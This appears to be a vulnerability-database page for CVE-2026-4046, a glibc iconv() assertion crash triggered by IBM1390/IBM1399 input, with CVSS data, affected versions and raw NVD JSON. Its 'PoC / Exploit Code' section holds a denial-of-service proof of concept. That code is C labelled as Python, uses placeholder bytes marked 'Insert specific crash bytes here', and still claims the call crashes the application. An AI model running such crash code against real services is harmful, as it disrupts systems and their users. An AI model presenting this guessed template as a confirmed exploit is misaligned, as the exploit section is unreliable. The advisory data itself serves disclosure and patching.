Security Vulnerability Report
中文
CVE-2026-4046 CVSS 7.5 HIGH

CVE-2026-4046

Published: 2026-03-30 18:16:20
Last Modified: 2026-04-20 22:16:24
Source: 3ff69d7a-14f2-4f67-a097-88dee7810d18

Description

The iconv() function in the GNU C Library versions 2.43 and earlier may crash due to an assertion failure when converting inputs from the IBM1390 or IBM1399 character sets, which may be used to remotely crash an application. This vulnerability can be trivially mitigated by removing the IBM1390 and IBM1399 character sets from systems that do not need them.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:* - VULNERABLE
GNU C Library (glibc) <= 2.43

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <iconv.h> #include <stdio.h> #include <stdlib.h> int main() { // Open conversion descriptor from IBM1390 to UTF-8 iconv_t cd = iconv_open("UTF-8", "IBM1390"); if (cd == (iconv_t)-1) { perror("iconv_open"); return 1; } // Malicious input designed to trigger assertion failure // Specific bytes required based on glibc source code analysis char input[] = { /* Insert specific crash bytes here */ 0x0E, 0x00, 0x00, 0x00 }; char *inbuf = input; size_t inbytesleft = sizeof(input); char output[256]; char *outbuf = output; size_t outbytesleft = sizeof(output); // This call triggers the vulnerability and crashes the application size_t result = iconv(cd, &inbuf, &inbytesleft, &outbuf, &outbytesleft); if (result == (size_t)-1) { perror("iconv"); } iconv_close(cd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4046", "sourceIdentifier": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "published": "2026-03-30T18:16:19.573", "lastModified": "2026-04-20T22:16:23.623", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The iconv() function in the GNU C Library versions 2.43 and earlier may crash due to an assertion failure when converting inputs from the IBM1390 or IBM1399 character sets, which may be used to remotely crash an application.\n\n\n\nThis vulnerability can be trivially mitigated by removing the IBM1390 and IBM1399 character sets from systems that do not need them."}, {"lang": "es", "value": "La función iconv() en la Biblioteca C de GNU versiones 2.43 y anteriores puede colapsar debido a un fallo de aserción al convertir entradas de los conjuntos de caracteres IBM1390 o IBM1399, lo que puede ser utilizado para colapsar una aplicación de forma remota.\n\nEsta vulnerabilidad puede mitigarse trivialmente al eliminar los conjuntos de caracteres IBM1390 e IBM1399 de los sistemas que no los necesiten."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.43", "matchCriteriaId": "A9DB11A1-E5B8-4086-9B53-C77A9A2E0EA2"}]}]}], "references": [{"url": "https://inbox.sourceware.org/libc-announce/[email protected]/T/#u", "source": "3ff69d7a-14f2-4f67-a097-88dee7810d18"}, {"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33980", "source": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "tags": ["Exploit", "Issue Tracking", "Patch"]}, {"url": "https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=advisories/GLIBC-SA-2026-0007;hb=HEAD", "source": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "tags": ["Third Party Advisory"]}]}}